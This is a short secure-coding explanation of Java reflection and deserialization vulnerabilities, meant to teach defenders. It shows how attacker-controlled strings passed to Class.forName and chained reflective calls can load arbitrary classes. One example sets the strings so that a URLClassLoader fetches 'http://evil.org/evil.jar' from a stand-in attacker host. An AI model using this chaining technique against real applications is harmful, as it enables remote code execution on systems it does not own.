Via reflection, any package on the class-path is potentially used. Common services built on reflection (e.g. deserialization) also mean that any loadable class is usable.
ObjectInputStream and other commonly used APIs can be a source of vulnerabilities.
To understand reflective vulns: if an attacker can get a string they control to
Class.forName or some other reflective mechanism then they can probably cause that class to be loaded. For example, if the attacker controls the value of
Class<?> clazz = Class.forName(s);
Object o = clazz.newInstance();
then they can cause any class visible to the bootstrap classloader to be loaded.
If the attacker can cause your application to deserialize bytes that they specify, then they can cause you to load any class on the classpath.
ObjectInputStream will look for a class name specified in its
byte and load that class to see if it implements
Externalizable. The class will be initialized if it implements
Naive use of object serialization may allow a malicious party with access to the serialization byte stream to read private data, create objects with illegal or dangerous state, or obtain references to the private fields of deserialized objects.
Serialization and deserialization features can be exploited to bypass security manager checks.
Further, multiple attacks on reflective APIs can be chained. If the attacker controls the string s0...s4 in the below then they can cause any class to be loaded:
Class<?> clazz = Class.forName(s0);
Constructor ctor = clazz.getConstructor(s1, String.class);
Object o1 = ctor.newInstance(s2);
Method m = clazz.getMethod(s3, String.class);
Object o2 = m.invoke(o1, s4);
Consider what happens when
s1 = "java.net.URLClassLoader";
s2 = "http://evil.org/evil.jar";
s3 = "findClass";
s4 = "org.evil.Evil";
Attackers who can specify system properties can also change the classpath to include trojan classes.
The moral of this story is, keep untrusted strings and bytes away from reflective facilities and related facilities including deserialization, RPC/RMI, etc.